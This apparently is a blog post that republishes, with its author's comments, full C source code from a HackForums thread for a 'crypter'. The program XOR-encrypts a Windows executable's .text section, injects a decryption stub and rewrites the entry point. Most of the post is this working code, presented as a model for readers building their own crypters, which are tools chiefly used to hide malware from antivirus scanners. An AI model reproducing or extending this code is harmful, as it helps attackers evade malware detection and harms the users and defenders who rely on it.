mindlessdeath, a member from HackForums have posted a thread regarding how to write a crypter in C! I find this source code a very good example for people that are trying to learn to write their own crypter. Compared to any other source codes that are posted on the internet, the author of this source code gave a very detailed information on each line on what the statements does. In order to use this source code without much trouble, there are some prerequisites that was mentioned by the author himself.
Prerequisites
1: encrypts “.text” section
2: you must have enough free space at the end of the section for the stub
3: there may not be transparency in the RVA (like – raw size = 1000, virutal size = 2000) for that section, or it may malfunction
4: *edited* how did i miss that, there must be no relocations for “.text” section
He have also mentioned that “at first i was going for a more complex one, but seeing that there were some problems which easily took me a whole day to solve (damn RVA’s!) and as the source size became larger, i decided to go with this. After all, this is just an example. It is heavily commented, though unnecessary at most.
Im not doing a tutorial (and im not fond of them), because it is indeed easy, and if you dont understand this code, im sorry, but then you need to learn about PE and/or go back and continue with C/C++…”
If you do not know much about executable file format, you might want to take a look at Peering Inside the PE: A Tour of the Win32 Portable Executable File Format by Matt Pietrek. Another good source that mindlessdeath has updated me with was The PE File Format.
Source Code
Before you look at the source code below and try to execute them, you might want to read what the comments are about. You might also want to read on updates from the author himself in the thread that he has originally posted here.
<pre>#pragma comment(linker, "/OPT:NOREF") // this tells the linker to keep the machine code of unreferenced source code #pragma optimize("", off) // disable all optimizations in order for our stub to run smootly, though im not sure if it really helps, i just saw some guy doing it this way lolz 🙂 #include <windows.h> // familiar? #include <stdio.h> // i wonder what this might be, hmm... // gets the first sections header offset #define SECHDROFFSET(a) ((LPVOID) ( (LPBYTE) a + \ ((PIMAGE_DOS_HEADER)a)->e_lfanew + \ sizeof(IMAGE_NT_HEADERS))) // those are the offsets to the #define OEP_o 21 // original entry point #define SEG_o 11 // virtual address of section #define BSZ_o 1 // block size, must be a multiple of 8 #define SZ_o 6 // section size, must be a multiple of the chosen block size // values in the stub // a simple block xor // every byte in the given block is XOR'ed with its index void _xor_block(unsigned char *pblock, unsigned int blocksize) { unsigned int i; for(i = 0; i < blocksize; i++) pblock[i] ^= i; return; } // just a wrapper around the above function int _xor_chunk(unsigned char* pchunk, unsigned long chunksize, unsigned int blocksize) { if(chunksize % blocksize || blocksize % 8) return -1; unsigned long index = 0; while(index < chunksize) { _xor_block(pchunk + index, blocksize); index += blocksize; } return 0; } // this is our stub and the new entry point for the encrypted PE __declspec(naked) void __stdcall _stub(void) { __asm { push 0xFEFEFEFE //blocksize push 0xFDFDFDFD //chunksize push 0xFCFCFCFC //pchunk call _xor_chunk //decrypt mov eax, 0x7FFFFFFF //oep jmp eax //go go } } // a placeholder, used for stub size calculation __declspec(naked) int _end(void) { __asm ret 8 } // so basicly the ASM code of the above 3 (w/o _end) functions will be added to the end of the ".text" section // after updating the proper values in the stub, ofc // then the PE header is updated along with the section header // and with the entry point at _stub's code its all done! wow that was easy oO // GO GO POWER RANGERS!!! int main(void) { // im not going to lecture you about those, if you are not familiar with these structures, you should go read about PE format... PIMAGE_DOS_HEADER pDosH; PIMAGE_NT_HEADERS pNtH; PIMAGE_SECTION_HEADER pSecH; // variables HANDLE hFile; DWORD dwFileSize, dwSectionSize, dwStubSize, dwVSize, dwOldProt, dwSpot, dwGap, bytes; LPBYTE FileBuffer, SectionBuffer; CHAR FileName[MAX_PATH]; // get the filename to encrypt printf("File to encrypt: "); scanf("%s", &FileName); // open it and get the size hFile = CreateFile(FileName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); dwFileSize = GetFileSize(hFile, 0); // load in memory FileBuffer = (LPBYTE) malloc(dwFileSize); ReadFile(hFile, FileBuffer, dwFileSize, &bytes, 0); pDosH = (PIMAGE_DOS_HEADER) FileBuffer; // check if it is valid PE, i would say that this is merely a proper check, for a proper one you would need to calculate all the RVA's and see if they are valid if(pDosH->e_magic != IMAGE_DOS_SIGNATURE) return -1; pNtH = (PIMAGE_NT_HEADERS) (FileBuffer + pDosH->e_lfanew); if(pNtH->Signature != IMAGE_NT_SIGNATURE) return -2; pSecH = (PIMAGE_SECTION_HEADER) SECHDROFFSET(FileBuffer); while(memcmp(pSecH->Name, ".text", 5)) // get the ".text" section header pSecH++; dwVSize = pSecH->Misc.VirtualSize; // the virtual size of the section, later this will be used as chunksize in our stub, after proper alignment dwSectionSize = pSecH->SizeOfRawData; // speaks for itself dwStubSize = (DWORD) _end - (DWORD) _xor_block; // the stubsize, in bytes SectionBuffer = (LPBYTE) malloc(dwSectionSize); // allocate memory enough to hold our raw section data memcpy(SectionBuffer, FileBuffer + pSecH->PointerToRawData, dwSectionSize); // ... copy the data _xor_chunk(SectionBuffer, dwSectionSize, 256); // aaand encrypt it! you can use different block sizes here - 8, 16, 32, 64, 128, 256, 512... memset(SectionBuffer + pSecH->Misc.VirtualSize, 0, (dwSectionSize - pSecH->Misc.VirtualSize)); // fill with zeros after the end of actual data dwSpot = pSecH->Misc.VirtualSize; // this will be the offset (relative to the beginning of the section) where we will place our stub while(dwSpot % 16) // align it to 16 byte boundary dwSpot++; dwSpot += 256; // this is in order to prevent the stub from corruption by overwriting its own code, since we will place it after the end of the section data dwGap = dwSpot - pSecH->Misc.VirtualSize; // the gap between our stub and the end of the data DWORD oep = pNtH->OptionalHeader.AddressOfEntryPoint + pNtH->OptionalHeader.ImageBase; // the original entry point, this is a linear address DWORD seg = pSecH->VirtualAddress + pNtH->OptionalHeader.ImageBase; // the section address, you guessed right, this too is a linear one DWORD bsz = 256; // you know what this is while(dwVSize % bsz) // we need to align it to block size dwVSize++; VirtualProtect(_xor_block, dwStubSize, PAGE_EXECUTE_READWRITE, &dwOldProt); // to be able to update the stub... // and update it, blah, blah, blah... memcpy((void *)((unsigned long) _stub + OEP_o), &oep, 4); memcpy((void *)((unsigned long) _stub + SEG_o), &seg, 4); memcpy((void *)((unsigned long) _stub + BSZ_o), &bsz, 4); memcpy((void *)((unsigned long) _stub + SZ_o), &dwVSize, 4); memcpy(SectionBuffer + dwSpot, _xor_block, dwStubSize); // place the damn thing already! pSecH->Characteristics = 0xE0000060; // R/W/E, executable code, initialized data. although my experience shows that you are just fine with R/W... pSecH->Misc.VirtualSize += dwStubSize + dwGap; // update the virtual size of the section pNtH->OptionalHeader.AddressOfEntryPoint = pSecH->VirtualAddress + dwSpot + ( (DWORD)_stub - (DWORD)_xor_block ) ; // and finally update the file SetFilePointer(hFile, pSecH->PointerToRawData, 0, FILE_BEGIN); //new section data WriteFile(hFile, SectionBuffer, dwSectionSize, &bytes, 0); SetFilePointer(hFile, pDosH->e_lfanew, 0, FILE_BEGIN); //new PE header WriteFile(hFile, pNtH, sizeof(IMAGE_NT_HEADERS), &bytes, 0); SetFilePointer(hFile, ((DWORD) pSecH - (DWORD) FileBuffer), 0, FILE_BEGIN); //new section header WriteFile(hFile, pSecH, sizeof(IMAGE_SECTION_HEADER), &bytes, 0); // some good habits 🙂 CloseHandle(hFile); free(FileBuffer); free(SectionBuffer); return 0; } // bye, bye, EOF
Leave a Reply